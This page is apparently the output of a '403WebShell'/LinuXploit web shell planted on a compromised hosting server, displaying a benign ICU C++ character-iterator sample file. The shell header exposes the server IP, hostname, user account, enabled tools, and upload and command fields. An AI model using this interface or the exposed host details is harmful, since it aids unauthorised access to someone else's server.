Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.216.11.230
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/alt/libicu/usr/share/doc/alt-libicu-devel/samples/citer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/alt/libicu/usr/share/doc/alt-libicu-devel/samples/citer/citer.cpp
/*
*******************************************************************************
*
*     © 2016 and later: Unicode, Inc. and others.
*     License & terms of use: http://www.unicode.org/copyright.html#License
*
*******************************************************************************
*******************************************************************************
*
*     Copyright (C) 2002-2011, International Business Machines
*     Corporation and others.    All Rights Reserved.
*
*******************************************************************************
*/

#include "unicode/uchriter.h"
#include "unicode/schriter.h"
#include "unicode/ustring.h"
#include <stdio.h>
#include <unicode/brkiter.h>
#include <unicode/ustdio.h>
#include <stdlib.h>

static UFILE *out;

using icu::CharacterIterator;
using icu::StringCharacterIterator;
using icu::UCharCharacterIterator;
using icu::UnicodeString;

void printUnicodeString(const UnicodeString &s)
{
    u_fprintf(out, "%S", &s);
}

void printUChar(UChar32 ch)
{
    if(ch < 127) {
        u_fprintf(out, "%C", (UChar) ch);
    } else if (ch == CharacterIterator::DONE) {
        u_fprintf(out, "[CharacterIterator::DONE = 0xFFFF]");
    } else {
        u_fprintf(out, "[%X]", ch);
    }
}

class Test
{
public:
    void TestUChariter();
    void TestStringiter();
};

void Test::TestUChariter() {
    const char testChars[] = "Now is the time for all good men to come "
        "to the aid of their country.";

    UnicodeString testString(testChars,"");
    const UChar *testText = testString.getTerminatedBuffer();

    UCharCharacterIterator iter(testText, u_strlen(testText));
    UCharCharacterIterator* test2 = (UCharCharacterIterator*)iter.clone();

    u_fprintf(out, "testText = %s", testChars);

    if (iter != *test2 ) {
        u_fprintf(out, "clone() or equals() failed: Two clones tested unequal\n");
    }

    UnicodeString result1, result2;
    // getting and comparing the text within the iterators
    iter.getText(result1);
    test2->getText(result2);
    if (result1 != result2) {
        u_fprintf(out, "iter.getText() != clone.getText()\n");
    } 

    u_fprintf(out, "\n");

    // Demonstrates seeking forward using the iterator.
    u_fprintf(out, "Forward  = ");

    UChar c = iter.first();
    printUChar(c);    // The first char
    int32_t i = 0;

    if (iter.startIndex() != 0 || iter.endIndex() != u_strlen(testText)) {
        u_fprintf(out, "startIndex() or endIndex() failed\n");
    }


    // Testing forward iteration...
    do {
        if (c == CharacterIterator::DONE && i != u_strlen(testText)) {
            u_fprintf(out, "Iterator reached end prematurely");
        }
        else if (c != testText[i]) {
            u_fprintf(out, "Character mismatch at position %d\n" + i);
        }
        if (iter.current() != c) {
            u_fprintf(out, "current() isn't working right");
        }
        if (iter.getIndex() != i) {
            u_fprintf(out, "getIndex() isn't working right\n");
        }
        if (c != CharacterIterator::DONE) {
            c = iter.next();
            i++;
        }

        u_fprintf(out, "|");
        printUChar(c);

    } while (c != CharacterIterator::DONE);        

    delete test2;
    u_fprintf(out, "\n");
}


void Test::TestStringiter() {
    const char testChars[] = "Now is the time for all good men to come "
        "to the aid of their country.";

    UnicodeString testString(testChars,"");
    const UChar *testText    = testString.getTerminatedBuffer();

    StringCharacterIterator iter(testText, u_strlen(testText));
    StringCharacterIterator* test2 = (StringCharacterIterator*)iter.clone();

    if (iter != *test2 ) {
        u_fprintf(out, "clone() or equals() failed: Two clones tested unequal\n");
    }

    UnicodeString result1, result2;
    // getting and comparing the text within the iterators
    iter.getText(result1);
    test2->getText(result2);
    if (result1 != result2) {
        u_fprintf(out, "getText() failed\n");
    }

    u_fprintf(out, "Backwards: ");

    UChar c = iter.last();
    int32_t i = iter.endIndex();

    printUChar(c);
    i--; // already printed out the last char 

    if (iter.startIndex() != 0 || iter.endIndex() != u_strlen(testText)) {
        u_fprintf(out, "startIndex() or endIndex() failed\n");
    }

    // Testing backward iteration over a range...
    do {
        if (c == CharacterIterator::DONE) {
            u_fprintf(out, "Iterator reached end prematurely\n");
        }
        else if (c != testText[i]) {
            u_fprintf(out, "Character mismatch at position %d\n", i);
        }
        if (iter.current() != c) {
            u_fprintf(out, "current() isn't working right\n");
        }
        if (iter.getIndex() != i) {
            u_fprintf(out, "getIndex() isn't working right [%d should be %d]\n", iter.getIndex(), i);
        }
        if (c != CharacterIterator::DONE) {
            c = iter.previous();
            i--;
        }

        u_fprintf(out, "|");
        printUChar(c);
    } while (c != CharacterIterator::DONE);

    u_fprintf(out, "\n");
    delete test2;
}

/* Creating and using text boundaries */
int main( void )
{
    UErrorCode status = U_ZERO_ERROR;

    out = u_finit(stdout, NULL, NULL);

    u_fprintf(out, "ICU Iteration Sample Program (C++)\n\n");

    Test t;

    u_fprintf(out, "\n");
    u_fprintf(out, "Test::TestUCharIter()\n");

    t.TestUChariter();

    u_fprintf(out, "-----\n");
    u_fprintf(out, "Test::TestStringchariter()\n");

    t.TestStringiter();

    u_fprintf(out, "-----\n");

    return 0;
}

Youez - 2016 - github.com/yon3zu
LinuXploit